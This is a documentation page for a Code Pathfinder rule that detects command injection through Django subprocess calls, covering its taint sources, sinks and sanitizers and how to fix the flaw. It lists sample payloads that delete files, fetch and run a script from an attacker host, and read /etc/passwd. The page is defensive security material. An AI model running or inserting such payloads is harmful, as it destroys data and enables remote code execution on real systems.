Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset python/PYTHON-DJANGO-SEC-011 --project .About This Rule
Understanding the vulnerability and how it is detected
This rule detects OS command injection vulnerabilities in Django applications where untrusted user input from HTTP request parameters flows into subprocess module calls (subprocess.run(), subprocess.call(), subprocess.Popen(), subprocess.check_output()) either as a string command argument or within a list when shell=True is used.
The subprocess module is safer than os.system() when used correctly with a list of arguments and shell=False (the default). However, two patterns re-introduce shell injection risk: (1) passing a string command argument which causes shell interpretation even without explicit shell=True, and (2) using shell=True with any string that contains user-controlled data.
This rule tracks user input flowing to subprocess calls and flags cases where the risk of shell injection exists, distinguishing between the safe list pattern and the unsafe string/shell=True patterns.
Security Implications
Potential attack scenarios if this vulnerability is exploited
Shell Injection via String Command
Passing a string to subprocess.run() without explicit shell=False does not guarantee safety -- if the string contains shell metacharacters, they will be interpreted. When user input is concatenated into the string, attackers can inject semicolons, pipes, or $() to execute additional commands.
Explicit Shell Injection via shell=True
subprocess.run(f"command {user_input}", shell=True) is equivalent to passing the command to /bin/sh. Any shell metacharacters in user_input will be interpreted. Common payloads include '; rm -rf /', '$(curl attacker.com | sh)', and '`cat /etc/passwd`'.
Argument Injection in List Mode
Even when using a list with shell=False, user-controlled list elements that are interpreted as flags by the target command can enable argument injection. For example, passing '-rf' as a filename argument to commands like rm, rsync, or wget can cause unintended behavior.
Process Privilege Escalation
If the Django process has any elevated privileges (setuid binaries accessible via subprocess, capabilities set on the process), command injection can be used to escalate privileges. Even without escalation, the application process user can typically read all application files, including secrets and database credentials.
How to Fix
Recommended remediation steps
- 1Always use subprocess with a list of arguments and shell=False (the default) to prevent shell interpretation of metacharacters.
- 2Never use shell=True when any part of the command string or argument list originates from user input.
- 3Validate all user-provided arguments with strict regular expressions before including them in subprocess calls.
- 4Prefix user-provided filename arguments with '--' to prevent them from being interpreted as flags by the target command.
- 5Consider whether the subprocess call can be replaced entirely with a Python library that performs the same operation without invoking a shell.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
This rule performs inter-procedural taint analysis with global scope. Sources include calls("request.GET.get"), calls("request.POST.get"), calls("request.GET.__getitem__"), calls("request.POST.__getitem__"), calls("request.body"), and calls("request.read"). Sinks are calls("subprocess.run"), calls("subprocess.call"), calls("subprocess.Popen"), and calls("subprocess.check_output") with tainted values in the command string or shell=True context (tracked via .tracks(0)). Sanitizers include shlex.quote() and strict regex validation patterns. The rule follows taint across file and function boundaries.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Python
Django Command Injection via os.system()
User input flows to os.system(), enabling arbitrary OS command execution with the privileges of the Django process.
Django Code Injection via eval()
User input flows to eval(), enabling arbitrary Python code execution on the server.
Django Code Injection via exec()
User input flows to exec(), enabling arbitrary Python statement execution on the server.
Frequently Asked Questions
Common questions about Django Command Injection via subprocess
New feature
Get these findings posted directly on your GitHub pull requests
The Django Command Injection via subprocess rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.